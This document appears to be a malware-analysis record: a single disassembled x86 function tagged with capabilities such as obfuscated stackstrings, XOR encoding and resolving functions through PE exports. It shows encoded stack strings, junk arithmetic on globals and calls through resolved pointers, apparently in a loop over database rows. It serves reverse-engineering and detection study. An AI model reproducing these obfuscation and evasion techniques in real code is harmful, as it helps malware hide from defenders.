Function at 0x410d87
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xb8
xor dword [0x42b90c], 0x2a32f70b
push ebp
push esi
push edi
mov edi, edx
mov dword [esp + 0x7c], ecx
call fcn.00420376
movzx esi, word [0x42b8bc]
mov ebp, eax
or esi, 0xc441cb96
mov dword [0x42b90c], esi
test ebp, ebp
je 0x4114ae
push ebx
xor ebx, ebx
mov dword [esp + 0x28], 0xf0dfc089
mov dword [esp + 0x2c], 0xd8dfc5e4
mov ecx, ebx
mov word [esp + 0x30], 0xdec3
mov byte [esp + 0x32], 0xd5
mov al, byte [esp + ecx + 0x28]
xor al, 0xac
movzx eax, al
mov word [esp + ecx*2 + 0x94], ax
inc ecx
cmp ecx, 0xb
jl 0x410de3
xor eax, eax
mov word [esp + 0xaa], ax
movzx eax, byte [0x42b8c4]
imul eax, eax, 0x9eee9c09
push edi
mov dword [0x42b90c], eax
xor eax, 0xc5a63f1e
mov dword [0x42b8cc], eax
mov eax, 0x7219
and word [0x42b8dc], ax
lea eax, [esp + 0x98]
push eax
call fcn.00422d73
pop ecx
mov edi, eax
mov eax, 0x548a
pop ecx
movzx ecx, byte [0x42b8c4]
sub cx, ax
mov dword [esp + 0x7c], edi
mov word [0x42b8bc], cx
mov eax, 0x97e6
xor cl, 4
mov byte [0x42b8c4], cl
movzx ecx, word [0x42b8dc]
imul ecx, eax
mov word [0x42b908], cx
test edi, edi
je 0x4114ad
mov eax, dword [0x42b8cc]
mov ecx, edi
xor eax, 0x8f33
mov word [0x42b908], ax
or eax, 0x6467
mov word [0x42b8bc], ax
call fcn.00422e77
movzx ecx, byte [0x42b8c4]
mov esi, eax
mov dx, word [0x42b91c]
mov eax, 0x3102
add cx, ax
mov dword [esp + 0x84], esi
mov word [0x42b8dc], cx
movzx ecx, dx
add ecx, 0x87482afe
mov dword [esp + 0x34], ecx
mov dword [0x42b90c], ecx
test esi, esi
je 0x411499
movzx ecx, dx
mov eax, 0xe508
imul ecx, eax
xor edx, edx
mov eax, dword [esp + 0x34]
and al, 0xcd
mov byte [0x42b8c4], al
mov word [0x42b8bc], cx
mov ecx, esi
call fcn.004235be
mov edx, eax
mov eax, 0xbd36
or word [0x42b908], ax
mov eax, 0x178a
and word [0x42b8dc], ax
mov dword [esp + 0x88], edx
test edx, edx
je 0x411440
mov ecx, dword [0x42b90c]
imul eax, ecx, 0x251fcad8
and ecx, 0xfbdf
or ecx, 0x5357
push ebx
push 1
mov dword [0x42b8cc], eax
or al, 0xf7
mov byte [0x42b8c4], al
lea eax, [ecx - 0x2474]
mov word [0x42b8dc], ax
imul eax, ecx, 0x7bd6
mov word [0x42b908], ax
lea eax, [esp + 0x3c]
push eax
push edx
call dword [ebp + 4]
add esp, 0x10
test eax, eax
jne 0x4113da
mov dword [esp + 0x48], 0xf7fef705
mov ecx, ebx
mov dword [esp + 0x4c], 0x27d206f5
mov dword [esp + 0x50], 0xd2de1e24
mov dword [esp + 0x54], 0x1e261b26
mov dword [esp + 0x58], 0x4f8d217
mov dword [esp + 0x5c], 0x27d2ff01
mov word [esp + 0x60], 0x1e24
mov byte [esp + 0x62], 0x25
mov al, byte [esp + ecx + 0x48]
add al, 0x4e
mov byte [esp + ecx + 0xac], al
inc ecx
cmp ecx, 0x1b
jl 0x410fc2
movzx eax, byte [0x42b908]
mov ecx, 0xfbe1
mov dx, word [0x42b8dc]
imul eax, eax, 0xb2
push ebx
mov byte [esp + 0xcb], bl
mov byte [0x42b8c4], al
movzx eax, dx
imul eax, ecx
mov word [0x42b91c], ax
mov eax, 0x76e7
or dx, ax
lea eax, [esp + 0x28]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0xb8]
mov word [0x42b8dc], dx
push eax
push dword [esp + 0x44]
call dword [ebp + 8]
add esp, 0x14
test eax, eax
jne 0x4113c2
mov eax, dword [0x42b8cc]
lea edi, [esp + 0x70]
and eax, 0x4300
mov edx, 0xa02a
mov word [0x42b8bc], ax
movzx eax, byte [0x42b91c]
push dword [esp + 0x24]
imul ecx, eax, 0x22
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov byte [0x42b8c4], cl
stosd dword es:[edi], eax
movzx eax, cl
and ax, dx
mov word [0x42b908], ax
movzx eax, cl
xor eax, 0x9698d349
mov dword [0x42b8cc], eax
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
jne 0x41123c
mov dword [esp + 0x38], 0x657d605d
mov word [esp + 0x3c], 0x336c
mov byte [esp + 0x3e], 0x29
mov dword [esp + 0x40], 0xc5e2bdba
mov word [esp + 0x44], 0x8ddb
mov byte [esp + 0x46], 0x97
mov ecx, ebx
mov al, byte [esp + ecx + 0x38]
xor al, 9
mov byte [esp + ecx + 0x8c], al
inc ecx
cmp ecx, 7
jl 0x4110b9
mov byte [esp + 0x93], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x40]
xor al, 0xb7
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, 7
jl 0x4110d5
mov byte [esp + 0x2f], bl
mov ecx, ebx
mov dword [esp + 0x10], 0x49491619
mov dword [esp + 0x14], 0x49494949
mov dword [esp + 0x18], 0x49494949
mov dword [esp + 0x1c], 0x49494949
mov word [esp + 0x20], 0x1949
mov byte [esp + 0x22], 0x16
mov al, byte [esp + ecx + 0x10]
sub al, 0xc
mov byte [esp + ecx + 0x48], al
inc ecx
cmp ecx, 0x13
jl 0x411117
mov eax, dword [0x42b90c]
lea edx, [esp + 0x8c]
and byte [0x42b8c4], 0x87
lea ecx, [esp + 0x70]
add eax, 0xffff865d
mov byte [esp + 0x5b], bl
push 0xffffffffffffffff
mov word [0x42b91c], ax
call fcn.004234c5
movzx eax, word [0x42b8dc]
push 1
push dword [esp + 0x2c]
or eax, 0xeaa91bb8
mov dword [0x42b90c], eax
call dword [ebp + 0x20]
add esp, 0xc
push eax
push 1
push dword [esp + 0x2c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.004234c5
mov ax, word [0x42b91c]
lea edx, [esp + 0x2c]
mov ecx, 0xec11
and ax, cx
lea ecx, [esp + 0x74]
mov word [0x42b8bc], ax
mov eax, 0xa392
xor word [0x42b8dc], ax
push 0xffffffffffffffff
call fcn.004234c5
mov eax, dword [0x42b8cc]
add eax, 0xfffff1be
mov word [0x42b91c], ax
movzx eax, word [0x42b8bc]
push ebx
push dword [esp + 0x30]
add eax, 0x40e29f39
mov dword [0x42b8cc], eax
call dword [ebp + 0x20]
add esp, 0x10
push eax
push ebx
push dword [esp + 0x2c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.004234c5
mov eax, dword [0x42b90c]
lea edx, [esp + 0x4c]
add eax, 0xc7e0c2f7
lea ecx, [esp + 0x74]
mov dword [0x42b8cc], eax
mov eax, 0x339d
or ax, word [0x42b8bc]
push 0xffffffffffffffff
mov word [0x42b8dc], ax
call fcn.004234c5
push dword [esp + 0x2c]
call dword [ebp + 0xc]
add esp, 0xc
cmp eax, 0x64
je 0x4110b7
mov cx, word [0x42b908]
mov eax, 0x667
xor ax, cx
mov word [0x42b91c], ax
cmp dword [esp + 0x70], ebx
je 0x4113be
mov dword [esp + 0x10], 0xb5b2a889
mov dword [esp + 0x14], 0xeeb8b3ae
mov dword [esp + 0x18], 0x9eb2ade4
mov dword [esp + 0x1c], 0xefb2ade4
mov word [esp + 0x20], 0xb9b5
mov byte [esp + 0x22], 0xb5
mov al, byte [esp + ebx + 0x10]
xor al, 0xc1
movzx eax, al
mov word [esp + ebx*2 + 0x48], ax
inc ebx
cmp ebx, 0x13
jl 0x411287
push dword [esp + 0xcc]
xor dword [0x42b90c], 0x11a5a96
xor eax, eax
push dword [esp + 0x84]
mov word [esp + 0x76], ax
mov eax, 0x5129
xor ax, cx
mov cx, word [0x42b8bc]
mov word [0x42b91c], ax
lea eax, [ecx - 0x12]
mov byte [0x42b8c4], al
mov eax, 0x3f65
add ax, cx
mov word [0x42b908], ax
lea eax, [esp + 0x50]
push eax
call fcn.00422d73
mov bx, word [0x42b908]
mov esi, eax
movzx edx, bx
add esp, 0xc
sub edx, 0x4e16bfd9
mov dword [0x42b90c], edx
test esi, esi
je 0x411381
mov ecx, dword [0x42b8cc]
mov edx, dword [esp + 0x78]
add ecx, 0xffff87bc
mov word [0x42b8dc], cx
and cl, 0x21
movzx eax, cl
mov byte [0x42b8c4], cl
mov ecx, 0x5cef
sub ax, cx
mov ecx, dword [esp + 0x70]
push esi
mov word [0x42b91c], ax
call fcn.0041eb29
mov eax, 0x699e
xor ax, word [0x42b91c]
mov word [0x42b8dc], ax
movzx eax, word [0x42b8bc]
sub eax, 0x6f085ecb
push esi
mov dword [0x42b8cc], eax
call fcn.004056f0
mov edx, dword [0x42b90c]
mov bx, word [0x42b908]
pop ecx
pop ecx
movzx ecx, word [0x42b8dc]
mov eax, 0xdcb6
push dword [esp + 0x70]
imul ecx, eax
xor bl, 0x95
or edx, 0xa66c
mov byte [0x42b8c4], bl
mov word [0x42b908], dx
mov word [0x42b91c], cx
call fcn.004056f0
mov esi, dword [esp + 0x88]
pop ecx
mov edi, dword [esp + 0x7c]
mov eax, dword [0x42b90c]
push dword [esp + 0x24]
or eax, 0x583b
mov word [0x42b8dc], ax
call dword [ebp + 0x18]
pop ecx
mov eax, dword [0x42b90c]
push dword [esp + 0x34]
xor eax, 0xe7c
mov word [0x42b8bc], ax
mov eax, 0x6f87
add word [0x42b91c], ax
call dword [ebp + 0x1c]
mov cx, word [0x42b8bc]
push dword [esp + 0x8c]
movzx eax, cx
imul eax, eax, 0xfb403737
mov dword [0x42b8cc], eax
mov eax, 0xb53d
and cx, ax
movzx eax, word [0x42b91c]
and eax, 0xcdd6b46b
mov word [0x42b8bc], cx
mov dword [0x42b90c], eax
call fcn.004056f0
pop ecx
pop ecx
movzx eax, byte [0x42b8c4]
xor ecx, ecx
add eax, 0x658c113c
mov edx, 0x62d87b
push esi
inc ecx
mov dword [0x42b8cc], eax
call fcn.004155a6
call eax
movzx ecx, byte [0x42b8c4]
mov eax, 0x7eb9
imul ecx, eax
mov ax, word [0x42b91c]
push esi
mov word [0x42b908], cx
mov ecx, 0x5f9b
and ax, cx
mov word [0x42b8dc], ax
call fcn.004056f0
mov dx, word [0x42b91c]
pop ecx
movzx eax, dx
and eax, 0xfa8978d0
push edi
mov dword [0x42b8cc], eax
call fcn.004056f0
pop ecx
pop ebx
pop edi
pop esi
pop ebp
add esp, 0xb8
ret